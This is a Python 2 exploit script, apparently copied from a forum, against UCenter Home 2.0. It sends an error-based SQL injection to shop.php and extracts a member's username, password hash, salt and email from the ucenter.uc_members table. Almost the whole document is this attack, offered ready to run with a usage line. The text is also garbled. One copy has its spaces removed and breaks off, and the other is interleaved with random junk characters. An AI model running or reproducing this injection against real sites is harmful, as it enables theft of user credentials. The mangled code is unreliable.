#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
( z9 s5 l4 ^" n' Y1 e
3 w/ J7 k9 a* C7 @5 @& g/ y
' l8 m# [; h+ E: ^ l; \4 T0 n9 C#!/usr/bin/env python 8 t9 ^& L1 t2 L
) g4 n5 Q0 N5 U
import sys 5 w8 b5 ]" e+ B1 a4 U
import urllib2 7 d( N& p2 @: I- q
import re
4 e/ e& X: X5 E$ \7 e0 f# e
5 x' k* l- R4 L1 j' F( p5 F Wdef info():
5 K9 e' M5 G- l print 'From:http://www.exploit-db.com/exploits/14997/'
- L8 J2 Q2 h2 \+ U5 c, W) p print 'http://www.hake.cc/Web_loudong/' 3 ]' a8 C) k/ Q# x, T/ g
print 'changed:qiaoy' " W8 C$ F3 l$ E/ H
print 'exp:'
$ H2 ^8 h- U2 J8 A8 k0 A( q print ' ./UCenter_Home_2.0.py site'
5 m0 g3 A; P. ]7 B, K$ L9 x9 D * N! L0 j! w8 e3 f/ I
def main():
; L% N5 t8 B+ S if len(sys.argv) != 2: - T$ d/ l5 h( R3 ~
info()
6 F* M5 C' \' x4 A else: & I% ?* ^9 `) `; \, `
site = sys.argv[1] + E u7 ?$ l1 Z0 ?, H) d
if site[0:7] == 'http://': 0 x$ B# J! S# z9 }1 j2 {' E
sitesite =site
' i# X! d+ q3 L5 h- E6 D elif site[0:8] == 'https://': & Z4 w7 C: D6 v$ h+ o
sitesite = site
: z1 s% z# O; \0 W H( P8 g else: ' |2 m6 S7 g5 S, M
site = 'http://'+site % D0 @% o& A3 ~& h& s2 n
try:
5 N1 b8 v, P: Y: ~1 L1 |( B url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
: e7 m+ B$ P/ D8 L' f Value = urllib2.urlopen(url).read()
* L, G1 L6 Q) U4 Q Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0] 2 d; o. |. W6 U, R$ l$ U; n
hacked = Msg.split(':')
- l0 F8 }5 U8 W6 m5 Q( x, V8 W print 'Name: '+hacked[1] " K# W* `6 g7 k- i
print 'Passwd: '+hacked[2] + [+ B/ }! x5 G$ f0 }, t
print 'salt: '+hacked[3]
& I) o! k- S- N, ? print 'email: '+hacked[4]
7 d2 h- t4 j8 q S5 c k except:
6 G2 `9 A, }8 G5 v ?: W: c. x print 'Sorry,I can\'t work............' - x& K: P+ o5 Z( h" s Y* j
0 Z8 v p' z N/ kif __name__ == '__main__':
, |9 T" H# A5 `, {! y) B main() |